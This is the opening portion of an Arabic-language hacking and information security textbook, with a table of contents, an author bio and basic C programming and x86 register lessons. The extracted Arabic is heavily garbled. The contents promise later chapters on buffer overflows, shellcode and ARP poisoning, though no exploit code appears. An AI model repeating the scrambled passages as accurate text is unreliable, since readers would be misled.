Professional Documents
Culture Documents
UNDERSTANDING
HACKING
AND INFORMATION SECURITY
AHMED ALMASHAD
[2]
اسم املؤلف ::أمحد املشد
حتذير ||
مجيع احلقوق حمفوظة للمؤلف وال يسمح بإعادة نرش ذذا الكتاب لال بمواققة ططية منه.
][3
ستتعلم يف ذذا الكتاب ماييل:
الربجمه بلغة ال ،Cوقهم وحتليل األكواد الربجمية.
شبكات احلاسب ،وكيفية برجمة ال ،Socketsولنشاء اإلتصاالت بني األنظمه.
لجياد ثغرات يف األنظمه واستغالهلا عن طريق ذجامت ال .Buffer Overflows
استخدام ال Debuggersلفحص ال Processor Registersوال .System Memory
كيفية التحا ُيل عىل آليات احلاميه اخلاصة بأنظمة التشغيل ،واحلصول عىل صالحيات ال systemأو ال rootعىل األنظمه البعيدة.
طوارزميات وأنظمة التشفري ،وحتليلها ،وقهم تطبيقاهتا املُتَعدِّ َده.
نقوم يف الباب األول ب َت َع ُّلم قراءة وكتابة األكواد الربجميه ،ودراسة أنظمة التشغيل و ُط ُرق تعاطيها مع الربامجُ ،
حيث ُت َعد األساس لبقية
األبواب.
يف الباب الثاين ننتقل لىل عامل الشبكات ،لنَتعرف عىل آليات و ُبروتوكوالت الشبكات ،وكيفية انتقال البيانات بني األنظمة ،بدء ًا من ال
Application Layerوانتها ًء بال .Physical Layerسنتعلم يف ذذا الباب كيف نُو ِّظف ال Socketsو َدوال الشبكات يف لنشاء قنوات
اإلتصال بني األنظمه.
يف الباب الثالث نقوم بتسليط الضوء عىل عمليات اإلطرتاق وتأمني األنظمه ،والتعمق أكثر يف بيئة الشبكاتَ ،
وحتليل ل َبعض أنواع
اهل َ َجامت باستخدام ال ،Debuggersونختم بإجراء اطتبار اطرتاق عميل.
وأطري ًا ،يف الباب الرابع ننتقل لىل علوم تشفري البيانات ،لنَتَعرض آلليات حتقيق األمان باستخدام طوارزميات التشفريَ ،مع دراسه ل َبعض
][4
Table of Content
I- Programming
1. Introduction...……………………………………………………………………… 13
2. If-Then-Else...…………………………………………………………………....... 17
3. While Loop...………………………………………………………………………. 18
4. For loop……………………………………………………………………………. 19
5. Variables…………………………………………………….................................... 20
6. Arithmetic Operators………………………………………………………………. 22
7. Comparison Operator……………………………………….................................... 24
8. Functions…………………………………………………………………………... 26
9. x86 processor ……………………………………………………………………… 31
10. Arrays…………………………………………………………………………….... 38
11. Signed, Unsigned………………………………………………………………...... 40
12. Pointers………………………………………………………….............................. 41
13. Format Strings……………………………………………………………………... 45
14. Typecasting………………………………………………………………………... 50
15. command-Line Arguments……………….………………….................................. 55
16. Variable Scoping…………………………………………………………………... 56
17. Memory Segmentation…………………………………………………………...... 62
18. The Heap…………………………………………………………………………... 66
19. Void Pointers…………………………………………………................................. 71
20. File Access……………………………………………………................................ 77
21. File Permissions………………………………………………................................ 85
22. User IDs………………………………………………………................................ 87
23. Structs……………………………………………………………………………… 91
24. Function Pointers………………………………………………………………...... 97
II- Networking
1. Introduction...……………………………………………………………………….. 105
2. The OSI Model...……………………………………………………………………. 107
3. The Socket...………………………………………………………………………… 116
[5]
4. Socket Functions……………………………………………………………………. 121
5. Socket Address……………………………………………….................................... 124
6. Big-Endian Byte Ordering………………………………………………………….. 128
7. Conversion between IP and 32-Bit……………………….......................................... 130
8. Error.h Lib…………………………………………………………………………... 132
9. Some Definitions……………………………………………………………………. 137
10. Server Example……………………………………………………………………... 138
11. The Browser……………………………………………………………………….... 148
12. The Big Picture…………………………………………………................................ 151
13. Layer 2 (Data-Link)…………………………………………………………………. 152
14. …Optaining an address…………….….……………………………………………. 153
15. …ARP Messages……………………………………………………………………. 155
16. …Sending packet outside the domain………………………………………………. 157
17. Layer 3 (Network)…………………………………………………………………... 158
18. …IP Header………..………………………………………………………………... 158
19. …IP Fragmentation..………………………………………………………………... 161
20. Layer 4 (Transport)……………….………………………….................................... 163
21. …Multiplexing & Demultiplexing………...………………………………………... 163
22. …TCP Header……..………………………………………………………………... 165
23. …TCP Three-way Handshake…..…………………………………………………... 168
[6]
15. …The Conclusion………………………………………………………………….... 224
16. ARP Poisoning Attack....….……………………………………………………........ 225
17. …Inside Nemesis Tool……………………………………………………………... 229
18. Buffer Overflow……………………………………………….................................. 243
19. The Stack……………………………………………………………………………. 247
20. Stack Overflow……………………………………………………………………… 253
21. Putting Things all Together…………………………………………………………. 265
22. …Preparing and Sending our Buffer………………………………………………... 266
23. …Binary Tree Analysis……………………………………………………………... 269
24. …Locating Space for our Shellcode………………………………………………... 274
25. …Redirecting Execution Flow……………………………………………………… 277
26. …Getting the Shell…………………………………………………………………. 279
27. Protection Mechanisms………….…………………………...................................... 283
IV- Cryptography
1. Introduction...……………………………………………………………………….. 291
2. Cryptography...……………………………………………………………………… 295
3. …Substitution...……………………………………………………………………... 298
4. …Transposition……………………………………………………………………... 300
5. Symmetric Cryptography…………………………………........................................ 301
6. …Stream Ciphers…………………………………………………………………… 304
7. …Block Ciphers………………………...................................................................... 307
8. …AES Cryptosystem……………………………………………………………….. 309
9. ……Encryption Process…………………………………………………………….. 312
10. ………SubBytes…..……..………………………………………………………….. 314
11. ………ShiftRows………..………………………………………………………….. 318
12. ………MixColumns……..………………………………………………………….. 319
13. ………AddRoundKey…...………………………………………………………….. 320
14. ……Key Schedule…………………………………………………………………... 322
15. Asymmetric Cryptography…………………………………………………….......... 332
16. …Goals of Cryptography…………………………………………………………… 334
17. ……Confidentiality..………………………………………………………………... 334
18. ……Integrity………………………………………………………………………... 335
19. ……Authentication..………………………………………………………………... 336
20. ……Nonrepudiatin…...……………………………………………………………... 338
21. …RSA………………………………………………................................................. 341
[7]
22. ……RSA Algorithm………………………………………………………………… 344
23. Cryptographic Hash Functions……………………………………………………… 356
24. …Message Authentication………………………………………………………….. 358
25. …Confidentiality, Authentication, and Signature....................................................... 366
26. …Message Authentication Code (MAC)…………………………………………… 370
27. …Digital Signature…………………………………………………………………. 373
28. ……Digital Signature Standard (DSS)……………………………………………... 377
29. Key Distribution…………………………………………………….......................... 380
30. …Using Symmetric Key Encryption…………………………………….................. 381
31. …Using Asymmetric Key Distribution…………………………………................... 384
32. Distribution of Public Keys…………………………………………………………. 386
33. …Using Public-Key Authority…………………………………................................ 386
34. …Using Public-Key Certificate.....……………………………................................. 388
35. Inside Secure Socket Layer (SSL)…………………………………………………... 391
36. Perfect Forward Secrecy (PFS)…..……………………………................................. 407
37. Success Algorithms……………………………………………................................. 418
38. References…………………………………………………………………………... 424
39. Appendixes.……………………………………………………................................. 425
[8]
About the Author
أمحد املشد
بالسعادة أثناء تَعا ُميل مع
كت ذلك عندما وجد ُت نفيس أش ُعر َ أحببت الكمبيوتر ُمذ كُن ُت صغري ًاَ ،
أدر ُ ُ
برامج التصميم والتطوير املختلفةُ ..ثم بدأت بال َت َع ُّمق أكثر عندما ك َُربت ألذتم بالشبكات ،وأمن
املعلومات ،وأنظمة التشغيل.
تواصل معكم..
ُسين ال ُ
َي ُ ّ
a.almashad@gmail.com
Acknowledgement
ب أن أشكر السيد أبدأ ب ُشكر اهلل تَعاىل عىل ن َعمه ال َعديدَ ة ،وعائلتي وأصدقائي ،وكُل َمن َت َع ّل ُ
مت من ُه .وأح ُ
،Jon Ericksonالمتالكه َموذ َبة قريدة!َ ،ظ َه َرت يف كتابه َ
الشهري..“Hacking, The art of exploitation” :
مادقعني القتباس بعض األكواد الربجمية من ُه ألقوم بتحليلها ورشحها يف كتايب ،كَام استعنت ب َبعض املؤلفات األُطرى
تخصصني ِبذا املَجال.
و ُمدونات ا ُمل ِّ
من املعلوم أنه لن تَع ّلمنا ال ُعلوم ب ُل َغتنا األُمَ ،سنكون أشد قو ًة َو َقه ًام ملا َنتَلقاهَ ،قهذه َطبيعة لنسانية! ،لكننا نَضطر لىل
التعلم باللغات األجنبية لفقر ا َملوارد لدينا ..وهلذا أمتنى أن ُنساذم يف لثراء ال ُعلوم بلغتنا العربية ،بمنهجية ج ّيدة
و ُأسلوب ُمبسط.
][9
What you need for this book
أنك عىل دراية بأساسيات الكُمبيوتر العامة ،وبا َملفاذيم األساسية للشبكات ،كا ُملتو ِّقرة يف َم َنهج
فرتض َ
ذذا الكتاب َي َ
شهادة ” ،“Network+وبعض ا َملعر َقة بأنظ َمة التشغيل م َ
ثل Windowsو .Linux
Preface
يف ذذا الكتاب نقوم بتسليط الضوء عىل القرصنة اإللكرتونية وأمن املعلومات ،وحتى نتمكن من رشح قلسفة
اإلطرتاق أو تأمني البيانات واألنظمة ،قنحن بحاجة لإلملام بعدة أمور حتضريية ،تبدأ بمعرقة ال Computer
Architectureللقارئ ،حيث تعد األساس لبقية األبواب ،ثم ينتقل لىل علوم الشبكات وآلية انتقال البيانات بني
األنظمة ،ثم يتعمق أكثر ليبدأ برشح وحتليل آليات اإلطرتاق واحلامية ،وخيتم بعلوم التشفري الالزمة لتحقيق
اخلصوصية والسالمة واملوثوقية.
تسلسيل ،لكن بإمكانك التنقل كام تشاء داطل
ُ تم لعداد موضوعات الكتاب بحيث تكون ُمعتمدة عىل بعضها بشكل
الكتاب لذا كنت ُمل ًام باألساسيات املطلوبة.
][10
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Part I
Programming
Programming
[11]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Programming
[12]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Introduction
عىل الرغم من اطتالف أذداف كل منهم لال أهنم يف النهاية لدهيم نفس التكنيك يف ال َتغ ُّلب عىل ا َملشاكل! ،ألن ُه
ببساطةَ ..قهم َ
الرب َجمة ُمهم ملن ُيريد التحا ُيل عىل األنظمةُ ،يساعد ُه عىل اكتشاف األططاء الربجمية والثغرات األمنية،
وعىل اجلانب اآلطر ..الفهم لسبب حدوث ذذا االطرتاق (الثغرة نفسها أو اخلطأ الربجمي) سينفع املُربمج أو ُم ِّ
صمم
الرشط األسايس علم ُه أكثر حتى يتفحص أكواده و لعدادات األجهزة لديه .وبام أن َقهم َ
الرب َجمة ُذو َ وس ُي ُ
النظام األمني َ
سوف نبدأ ب َرشح ُم َب ّسط ل َبعض األساسيات التي
َ ني األنظمة َوالربوتوكوالتَ ،ق
َيف تَسري األمور َب َ
فهم ك َ
حتى َت َ
ُنت ُحتب الربجمة أم ال!.
َستحتاجها بغض النظر عن ما ك َ
Programming
][13
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
من البدهيي أنه كي نجعل الكمبيوتر يقوم بيشء ما قعلينا أن نكتب ل ُه ال Instructionsبلغة يفهمها ،وذي
ال ،Machine Languageلكنها صعبة الفهم! ..ألهنا عبارة عن Bits, and Bytesوختتلف من Architecture
آلطر .ولكي نتغلب عىل أزمة الكتابه بال Machine Languageظهر لنا ال Assemblerوذو عبارة َعن Translator
يقوم ب َرتمجة ال Assembly Instructionsاىل ال .Machine Languageتُعد ُلغة ال Assemblyأبسط من
ال َ ،Machineقهي تَستَخدم كَلامت وعناوين مفهومة ب َعكس ال Machineالتي تتكون من أرقام ققط! .لكنها تتشابه
مع ال Machineيف أهنا ختتلف أيض ًا باطتالف نوع ال .Architecture
َع َرقنا أننا بحاجة لىل Translatorللتحويل من ال Assemblyلىل ال ،Machine Languageوذي اللغة التي
فه َمها ..واآلن ذل سنكتُب األكواد بال Assembly؟َ ،س َيكون األمر صعب ًا أيض ًا! ،نَح ُن
يستطيع ال CPUأن َي َ
بحاجة لىل Translatorمن نوع آطر ليُرتجم َلنا ما نَك ُتبُه من أكواد بلغات مثل ُلغات ال C, C++لىل ال Machine
لذ ًا ..يقوم ال Compilerبرتمجة األكواد بلغة ال Cلىل ُلغة اآلله وبنا ًء عىل نوع ال Processor Architecture
فُس اذتامم ا ُملربجمني بال Source Codeألنه األساس لنجاح الربنامج! ،ولكن ال ُ Hackerذنا
املوجود ،وذذا ما ُي ِّ
َيعي أن ال Compiled Programذو الذي سيتعامل يف هناية املطاف مع ال ،CPUو بالفحص اجليد لكيفية تعامل
ال CPUوال Memoryمع ذذا الربنامجُ ،ربام يتمكن من اكتشاف ثغرة يف الربنامج أو ال ُ Applicationمتكن ُه حينها
من لحداث crashله ،وربام يقوده ذذا ال crashلىل حماولة توجيه ال execution flowألماكن أطرى داطل ال
memoryحيث يضع ِبا جمموعة من ال instructionsنُسميها ،shellcodeليقوم ال CPUبتنفيذذا بدالً من استكامل
تنفيذ الربنامج!.
Programming
][14
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
تم تطوير تقنيات أمنية ملنع ُحماوالت التَال ُعب َذذه ،منها ،SafeSEHوال Nonexecutable Stackأو ال
،Randomized Stack Spaceوقامت مايكروسوقت بتطوير تقنية شهرية ..ذي ” ،“DEPوغريذا من التقنيات
األمنية التي س َيجري ُمناقشتها الحق ًا يف الباب الثالث بإذن اهلل.
ذذا رائع! ..ولكن ماذا َسنَستفيد من ُل َغة ال ..Assembly؟ ،لذا كُنا ققط َسنَستَخدم ال Compilerل َ َ
رتمجة مانُريد لىل
ال Machine Languageوينتهي األمر!.
نعم ..ذذا منطقي ،ولكن دعني أوضح بعض اخلصائص ل ُل َغة ال Assemblyوالتي َستَجعلك تَعي وحدَ ك أمهيتها.
عمل عليه! ،وكَمثال "0xc3" ..أو 11000011ب ُلغة اآللة ُيقابل ُه بال
CPUبالفعل َم َع الربنامج الذي َي َ
Assemblyذذه الكَل َمة "ret" :ب َمعنى ).(return
Programming
][15
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لىل ُذنا نكون وصلنا لنهاية ذذه ا ُملقدمة ،والتي كان ذدقها حتفيزك إلدراك أمهية الربجمة! ..ذل أدركت ذلك؟ ،جيد!..
ذيا لذ ًا لنبدأ برشح أساسيات الربجمة ب ُل َغة ال .C
Programming
][16
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Control Structures
موعة م َن ال Instructionsالتي يتم تنفيذذا تباع ًا ،ولكن ما العمل لذا ظهرت
من الطبيعي أن الربنامج يتكون من َجم َ
بعض اخليارات أو العقبات أثناء التعامل مع املُستَخدم؟ لنَرضب مثال من واقع احلياةَ ،
أنت أثناء قيا َدتك للسيارة،
ُيمكنُك تفعيل ال GPSقيقوم ب َرسم َمسار ُحمَدد للوج َهة ،ولكن لذا ِس َت يف طريق طاطئ أو وجدت أحد الشوارع
الرب َجم َةَ ،قنَت ََحكم ب َخط
َحن أيض ًا نستَخدم نفس التكنيك يف َ
مسدوده قسيقوم ال GPSبتغيري ال Routeعىل الفور! ،ن ُ
َسري ال Instructionsوقق ًا ملا نُق ِّرره وملا َيقتضيه ا َملوقف .سنتكلم عن بعض ال Statementsالتي تقوم بعمل ال
للربامج بتَطبيق مثال قيادة السياره.
"َ "Control
If-Then-Else
غري ذلك )ُ ،(Elseقم باستكامل سريك طاملا مل تُصادف اإلصالحات ).(Condition
Programming
][17
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
While/Until Loop
أحيان ًا ُيريد املُربمج تنفيذ جمموعة من ال Instructionsأكثر من مرة! ،وستحتاج أن تضع له ال Conditionالتي
سيقوم بنا ًء عليها بتنفيذ التكرار.
لنأطذ ذذا املثال:
"لن أصابك اجلوع ،لذذب واحصل عىل الطعام ثم التهمة" ..ينتهي القوس الثاين ){( قيعود ال Pointerلىل البداية
واآلن ..ذل قهمت داللة الكود املكتوب عىل الكوب املوجود يف صفحة عنوان ذذا الباب؟.
دالة Untilذي نفس ال Whileولكن برشط معكوس! ،أي أنه:
لطاملا أنك مل تشبع بعد! ،استمر باألكل.
Programming
][18
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
For Loop
نستخدمها أيض ًا عند احلاجه لتكرار ٍ
يشء ما ل َعدَ د م َن املَ ّرات .كأن نُخرب الربنامج بالقيام بعدّ ة ططوات ،ذذه اخلطوات
)For (5 iterations
;Drive straight for 1 mile
ُذنا َستَقوم بقيادة السياره ملَسا َقة ميل واحدُ ،ثم تقوم بالسري مليل آطرُ ،ثم ميل ثالث ،وذكذا لىل أن تصل لىل امليل
اخلامس.
ذذا شكل الدالة ب ُلغة ال :C
)For (i=0; i<5; i++
;Drive straight for 1 mile
سنُشاذد مع ًا كيف نقرأ ذذا الكود ،ألنه سيتكرر كثري ًا الحق ًا..
َستَد ُطل بقيمة ) (i = 0ثم تقود ملساقة ميل واحد ،قتزداد قيمة iبواحد ،قيكون ( ،)i = 1ثم تُقارنه بالرقم ،5ذل ذو
أصغر؟ ،نعم! ،اذذب لتقود مساقة ميل آطر ،ثم قم بتنفيذ i++قيكون ( ،)i = 2واآلن قارن ُه بالرقم ،5ثم ُعد للقيادة،
استمر لىل أن تكون قيمة iتساوي ،5قنُقارهنا بالرشط ( )i < 5قنجد أنه مل يتحقق! ،قنخرج طارج الدالة.
Programming
][19
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُذنا سنقوم بتصفري العداد ( ،)0ثم القيادة ملساقة ميل واحد ،وزيادة العداد بقيمة واحد ليصبح ( )1ثم العودة للدالة
ومقارنة الرقم ب 5قنجد أنه أقل ،قنعود للسري بمساقة ميل آطر وزيادة العداد ليصبح ( )2وذكذا حتى الوصول
للرقم ( )4قتكون النهاية.
Variables
يمة ُحمدّ َدة ،ال ُبد من حتديد نوع املُتغري قبل استخدامه ،ذذا ُمشابه
املتغري ذو عبارة عن لناء ُيمكنُنا أن ن ََضع بداطله ق َ
لص َقه عليها .ذذا ا ُملتغري ربام ال حيتفظ
ُلزجاجات املرشوبات والعصائر! نستطيع متييزذا بوجود الكتابة أو الصور ا ُمل َ
ِبذه القيمة بداطله اىل األبدُ ،يمكننا تَغيريذا ،أو اإلضاقة عليها ،أو نَط َرح منها ،قتم لطالق عليه لفظة "متغري" ،ماييل
تعريفه املوجز باللغه اإلنجليزية:
”“An object that holds data that can be changed
برجمي ًا ،جيب علينا أن نَذكُر اسم ا ُمل َت َغ ِّري ون َُحدِّ د نَوعه ) (declare your Variableما لذا كان سيحوي حروق ًا أو أرقام
مث ً
ال .جيب أن يتم ذلك قبل أن تقوم باستخدامه داطل برناجمك ،كام احلال مع وصفات الطبخ ،قنحن ُن َع ِّرف ونَذكُر
ا َملقادير بأسامئها وأنواعها قبل الرشوع بالطهي.
Programming
][20
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ٍ
مكان ما داطل ال ،Memoryسنتكلم عن ذذه األماكن بالتفصيل قيام بعد. ذذه املتغريات يقوم اجلهاز بتخزينها يف
ماييل بعض أنواع ال :variables
)int (integer values
)float (decimal floating
)char (single character values
ُذنا نقوم بتَعريف ُمتغريين aو bو ُقمنا بتحديد نَوعيهام ( ،)intأي أن كالذم سيكون objectليستوعب عدد نوع ُه
" "Integerال نَعرق ُه َبعدَ ،عدد َصحيح.
;int a, b
;k = 3.14
;'z = 'w
;b = a + 5
ُقمنا ُذنا بتعريف ُمتغري aوحددنا ما بداطله ُمسبق ًا! وذو الرقم ُ ..13ثم َحددنا ُمتغري آطر ،bنوعه "عدد صحيح"
ولكن َمل نُحدد ما َس َيحويه بداطلهُ ..ثم َعرقنا ُمتغري آطر kنوعه "عدد عرشي" ،ثم متغري آطر zسيحوي بداطله
حرف واحد ذو ..Aوبعدذا حددنا القيمة التي نود وضعها داطل املتغري kوذي ُ ..3.14ثم ُقمنا بإجراء تغيري ُ
للمتغري
zمن جديد حيث استبدلنا ما بداطله ،وذو احلرف ..Aووضعنا بدالً منه حرف آطر ،ذو ُ ..wثم أطري ًا أطربنا
صديقنا ا ُملتغري bأن ُه َس ُي ِّ
خزن داطله قيمة املتغري aوذي 13زائد ًا عليها عدد ..5
Programming
][21
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Arithmetic Operators
َسنقوم بتوضيح ال " "Modوذو القيمة ا ُملتبقية بعد لجراء عملية الق َ
سمة ،وكَمثال ،لنَفرض ُمتغري a=13وأردنا
القسمة عىل 5قيكون الناتج 2ويتبقى من الرقم 13بعد عملية القسمة ذذه قيمة ..ذي (.)3
)(13%5 = 3
نستخدم أيضا بعض االطتصارات ) (Shorthand Expressionsيف بعض الدوال مثل تلك املستخدمة يف دالة ال For
دوم ًا .i++
وعندَ ما َيتم استخدام َذذه ال َعالقات مع ال Arithmetic Operatorsقتختلف النواتج تبع ًا لنوع االطتصار ا ُملستخدم.
Programming
][22
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
مثال:
;int a, b
;a = 5
;b = a++ * 6
ماذا سيحوي ك ً
ال من aو b؟
ملاذا؟
ألن a++تعني أننا نُخرب الربنامج بإضاقة 1لاىل قيمة املتغري aولكن "بعد" لمتام العملية احلسابية!.
;a = a + 1
;b = a * 6
وبالتايل تكون قيمة bيف النهاية = ،36ويكون ()a = 6
ذذا رائعُ .. ،يمكنُنا أيض ًا كنوع من اإلطتصار لضاقة قيمة ُمعينة ُمل ٍ
تغري ما ،قيقوم بإجراء اجلمع واإلحتفاظ بالناتج
النهائي بداطله يف نفس الوقت! ،يتم استخدامها كثري ًا يف األكواد.
Programming
][23
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Comparison Operators
Condition Symbol Example
Less than < (a < b)
Greater than > (a > b)
Less than or
equal to <= (a <= b)
Greater than or
equal to >= (a >= b)
Equal to == (a == b)
Not equal to != (a != b)
Programming
[24]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الرش َطني األول أو الثاين ..قتكون النتيجه .Trueويف املثال الثاين :سيكون َحن ُذنا نُريد َحتقيق ّ
أي م َن َ يف املثال األول :ن ُ
الناتج Trueققط لذا حتقق الرشطني مع ًا ..وذو أن تكون قيمة aأصغر من قيمة bويف نفس الوقت ال تقل قيمة aعن
قيمة .c
ُقمنا ُذنا بوضع رشطني حلدوثها ،ومهاُ :جوع الفأر ،وغياب القط .قسيبحث عن قطعة اجلبن ،ثم تم قتح رشط آطر
Functions
Programming
][25
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
أحيان ًا يود املُربمج استخدام جمموعة معينة من ال Instructionsليقوم بتنفيذذا يف أكثر من َموضع ،قمث ً
ال لذا قرضنا
أننا قمنا بكتابة جمموعة أسطر برجمية تقوم بإنشاء قناة اتصال ب ُ Serverحمدد وبطريقة معينة ،قإذا كُنا نكتُب برنامج
طويل ،وأردنا أن نتصل ِبذا السريقر يف عدة مواضع داطل الكود ،قليس من احلكمة تكرار ذذه األسطر كل مرة
سمى " ."Functionوكلام أردنا
نحتاج قيها إلنشاء االتصالُ ،يمكننا وضعهم يف يشء أشبه ب ُ Sub-Programي ّ
لنشاء االتصال اكتفينا بكتابة عنوان ذذه ال Functionققط لتوقري اجلهد.
نأطذ مثال واقعي لنُ َط ِّبق عليه:
ل ُ
لنفرض أنك تَسري بسيارتك يف أحد الشوارع ثم تُصادف ُمفرتق بعد قليل ،وتود أن حتدد ما لذا كنت ستتجه لىل اليمني
ُجهز َ
لك جمموعة من التفاصيل أو لىل اليسار! ،سنقوم ُذنا بكتابة Functionنُطلق عليها Function Turnأي أننا سن ِّ
التي سوف يتم اتباعها عند رغبتك بتغيري مسارك! ،ولكننا سنستخدم ميزة برجمية وذي أننا سنرتك لك القرار يف أن
ُحتدد االجتاه قيام اذا كنت ستتجه لىل اليمني أم اىل اليسار .سنعترب االجتاه يف حد ذاته َ Variableسن َُس ِّميه
َ variable_directionل َك أن ُ َحتد ُد ُه أنت ُثم تقوم ال ) ( Turnبإجراء عملها بنا ًء عليه
سنقوم بتفحص حركة املرور يف احلارة التي سندطل لليها! ).(Check for oncoming traffic
Programming
][26
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
الحظ أن ال َقوس األول (اخلارجي) تَم َقتحه يف البداية وغلقه يف النهاية ،ومجيع األحداث َمتت بينهام ..استَخدمنا دالة
محة..
Whileلن ََضع َرشط َعدَ م الدُ طول لىل احلارة يف حالة كَوهنا ُمز َد َ
قإن َمل َتكُن كذلكَ ،ق َس َينتقل ال pointerلىل ال Instructionالتالية وذي دوران املقود لىل اإلجتاه املُراد (تم تَرك ُه
كمتغري)ُ ،ثم َو َضعنا َرشط آطر وذو أن السيارة نفسها ال ُبد أن تكون عىل ِسعة كاقية للقيام بالدوران واالندماج
ُ
باحلارة قاستخدمنا دالتني مع ًا Whlie ..وداطلها دالة ُ ..ifثم َط َرجنا م ُنهم لنُعيد م َ
قود السيارة ل َوضعه الطبيعي ونُطفئ
خلروج من ال Functionأطري ًا.
مصباح اإلشارةُ ،ثم ا ُ
Programming
][27
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
يف ُلغة ال Cحيدُ ث استدعاء لل ،Functionوبعدَ أداء َعملها ،لما أن تقوم بإرجاع ناتج أو ٍ
قيمة ما َلنا أو َملن قا َم ّ َ َ
وربام ال تُرجع لنا يشء! ،ونُطلق عىل ال functionالتي
باستدعائها (ُ (functions can return a value to a caller
ال تُرجع لنا قيمة بعد انتهاء عملها بال ) (.voidأما يف حالة لرجاع ال functionقيمة َبعدَ انتهاء َع َملها نَقوم باإلشارة
لىل ا ُملتغري الذي َس َ
تضع قيه ال functionذذا ال َ ،return valueم َع توضيح ال Data typeاخلاص به..
كيف ذلك؟
حسن ًا ..سنرشح ذذا بمثال:
سرتجع لنا ماييل functionاسمها ) ( factorialنقوم باستدعائها إلجراء عملية رياضية عىل املُ ِّ
تغري ،aوبعد انتهائها ُ
قيمة تقوم بوضعها يف ا ُملتَغري .b
;int a=5, b
;)b = factorial(a
نَقوم يف ذذا الكود بتَعريف ُمتغريين بنوع ُ ،intثم أطربنا املتغري bأن ُه سيحوي قيمة ،ستكون بالطبع ،intوذذا يعني أن
ال return valueالقادم من ال ) ( factorialسيكون نوعه .integerووضعنا قيمة ا ُملتغري " aبخمسة" ،سيكون )(a
ُذنا ذو ال Argumentالذي َيتم لمرار ُه لىل ذذه ال ،functionبمعنى أننا سنُدطل الرقم 5إلجراء ال َع َملية احلسابية
َعليه ُثم ن ََضع الناتج يف ا ُملتغري .b
Programming
][28
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
." يف الباب الثالث بإذن اهللfunction سأرشح لك بالتفصيل كيف تَتم َع َملية "استدعاء ال
ٍ
وظيفة ما ققط بال وذ َي التي نَستدعيها لتقوم ب،"return value" التي ال تُرجع َلنا قيمة ُمعينةFunction ت ََذكر أن ال
لتقومTurn_Function( ) الحظ أننا استدعينا ال، لذا جئنا للمثال اخلاص بقيادة السيارة املايض."Void Function"
ألننا ققط ن ََود تنفيذ جمموعة من ال، منهاreturn value قنحن لسنا بانتظار،بعملية الدطول للحارة ققط
.! بدون االضطرار لكتا َبتهم كل َمرة قبل الدطول ألي حارةinstructions
Programming
[29]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
if (street is blocked)
{
Turn (right, 15th Street);
Turn (left, Pine Street);
Turn (right, 16th Street);
}
else
Turn (right, 16th Street);
Programming
[30]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
x86 Processor
َسنأطذ قاصل قصري لنُشاذد بعض األمور ا ُملتعلقة بال x86 processorلنَتعرف عىل كَيفية تعا َمل ال CPUمع ال
َ ..Compiled Programيمتَلك ال Processorجمموعة من ال ..Registersقهو َيستَخدمهم ك internal variables
لهنا مساحة ختزين صغرية داطل ال CPUوتُعد أِسع طريقة يستخدمها للوصول والتعامل مع ال .Data
A small amount of storage on the CPU and is the fastest method for a CPU to access data.
Programming
][31
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُيمكنُك رؤية الكثري من التفاصيل ،كام يمكنك الوقوف داطل ال Compiled Programو ُمراقبة ال memory
ا ُملخصصة لربناجمك وترى ب َعينَيك أوضاع ال Registersأثناء عمل الربنامج ،لهنا وظيفة ال "."Debugger
مثلام َيستَخدم الكيميائي امليكرسكوب لفحص العيناتَ ،يقوم املُربمج باستخدام امليكرسكوب أيض ًاَ ،لكنّ ُه سيتفحص
رجمي تُريدُ ه و ُمراقبة تأثري ُه عىل اجلهاز ،كَام ُيمكنُك تغيري القيَم وا ُملتَغريات..
به برناجمهُ ،يمكن َُك الوقوف عىل أي سطر َب َ
وغريذا من األمور الشيقة!.
سنقوم يف الباب الثالث بإذن اهلل باستخدام ال ” “GDB Debuggerمع أحد الربامج وقحص ال Registers
ا ُمل َخص َصة ل ُه واستخراج بعض األططاء الربجمية واستغالهلا يف اطرتاق الربنامج! .بينَام سنكتفي حالي ًا برشح بعض
األساسيات ا ُملتعلقة بال .Registers
َسنَقوم َبوضع مثال ل َربنا َمج تَم َقتحه باستخدام GDB debuggerونقوم ب َع َمل Breakpointعند ال ) (main
Programming
][32
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Breakpoint 1 at 0x804837a
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, 0x0804837a in main ()
(gdb) info registers
"temporary variables" أمهها أهنم ُيعتربوا، يف ُأمور عدّ ةCPU مهم ال
ُ َيستَخدGeneral Registers ُيط َلق َعليهم
.Instructions أثناء تنفيذه للCPU مهم ال
ُ َيستَخد
Programming
[33]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
EAX
ُيط َلق َعليها أيض ًا Accumulator registerتقوم بإجراء َبعض ال َع َمليات احلسابية مثل اجلمع والطرح و املقارنة،
وأذم ما ُي َم ِّيزذا أهنا ُت َعد مكان ختزين ال .return values وأيض ًا الرضب والق َ
سمةَ ،
ذل تتذكر ذذا ال ..return value؟
لقد حتدثنا عن ُه يف ققرة ال ” ،“Functionsلذ ًاُ ..يمكننا التأكد من اكتامل أداء functionب َعينها َعن َطريق َقحص ُحمتَوى
